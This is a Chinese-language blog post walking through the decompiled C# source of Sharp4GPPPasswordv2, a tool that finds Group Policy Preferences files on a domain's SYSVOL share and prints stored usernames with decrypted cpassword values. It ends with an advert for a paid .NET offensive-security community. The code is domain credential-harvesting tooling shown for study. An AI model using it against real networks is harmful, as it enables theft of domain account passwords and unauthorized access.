01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4GPPPasswordv2是一款专门用于在域环境中提取和解密存储在组策略首选项(Group Policy Preferences, GPP)中的明文密码的工具。GPP允许管理员在Active Directory环境中配置和管理用户和计算机的设置。然而,GPP中存储的密码采用了弱加密,这使得攻击者可以轻松地解密这些密码。
03编码实现
Sharp4GPPPasswordv2工具的主函数Main,首先检查命令行参数是否为空,如果不为空,否则,尝试从环境变量USERDNSDOMAIN获取域的名称,并且构建路径\\\\<domain>\\sysvol\\<domain>\\policies\\,该路径存储了组策略文件。
private static void Main(string[] args)
{
string text;
if (args.Length != 0)
{
text = args[0];
}
else
{
text = Environment.GetEnvironmentVariable("USERDNSDOMAIN");
}
if (string.IsNullOrEmpty(text))
{
Console.WriteLine("Machine is not part of domain - exit.");
return;
}
string text2 = string.Concat(new string[]
{
"\\\\",
text,
"\\sysvol\\",
text,
"\\policies\\"
});
Console.WriteLine("Processing files in {0}", text2);
Program.ProcessAllFiles(text2, new Action<string>(Program.ProcessFile));
Console.WriteLine("Finished processing!");
}
随后,ProcessFile函数首先接受一个文件路径作为参数。并创建一个XmlDocument对象,并尝试加载指定路径的XML文件。如果加载失败,输出错误信息并返回。
private static void ProcessFile(string path)
{
Console.WriteLine("Parsing file: {0}", path);
XmlDocument xmlDocument = new XmlDocument();
try
{
xmlDocument.Load(path);
}
catch
{
Console.WriteLine("Error parsing {0}", path);
return;
}
根据文件名确定文件类型。程序分别处理以下几种文件:groups.xml、services.xml、scheduledtasks.xml、datasources.xml、printers.xml和drives.xml。
string arg = "[RESULT] ";
string a = Path.GetFileName(path).ToLower();
if (!(a == "groups.xml"))
{
if (!(a == "services.xml"))
{
if (a == "scheduledtasks.xml")
{
goto IL_207;
}
if (a == "datasources.xml")
{
goto IL_2BD;
}
if (a == "printers.xml")
{
goto IL_373;
}
if (!(a == "drives.xml"))
{
return;
}
goto IL_429;
}
}
以处理groups.xml文件为例,使用XPath选择/Groups/User/Properties节点。遍历每个节点,提取并输出用户名、修改时间和解密后的密码,调用DecryptCPassword函数解密cpassword属性。
else
{
using (IEnumerator enumerator = xmlDocument.SelectNodes("/Groups/User/Properties").GetEnumerator())
{
while (enumerator.MoveNext())
{
object obj = enumerator.Current;
XmlNode xmlNode = (XmlNode)obj;
try
{
Console.WriteLine("{0} Username: {1}", arg, xmlNode.Attributes["userName"].Value);
Console.WriteLine("{0} Changed: {1}", arg, xmlNode.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", arg, Program.DecryptCPassword(xmlNode.Attributes["cpassword"].Value));
}
catch
{
}
}
return;
}
}
通过分段解读,可以更清晰地了解ProcessFile函数的逻辑和实现。该函数根据文件名的不同,选择适当的XPath查询节点,提取相关信息并解密密码,最终输出结果。
04.NET安全星球
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。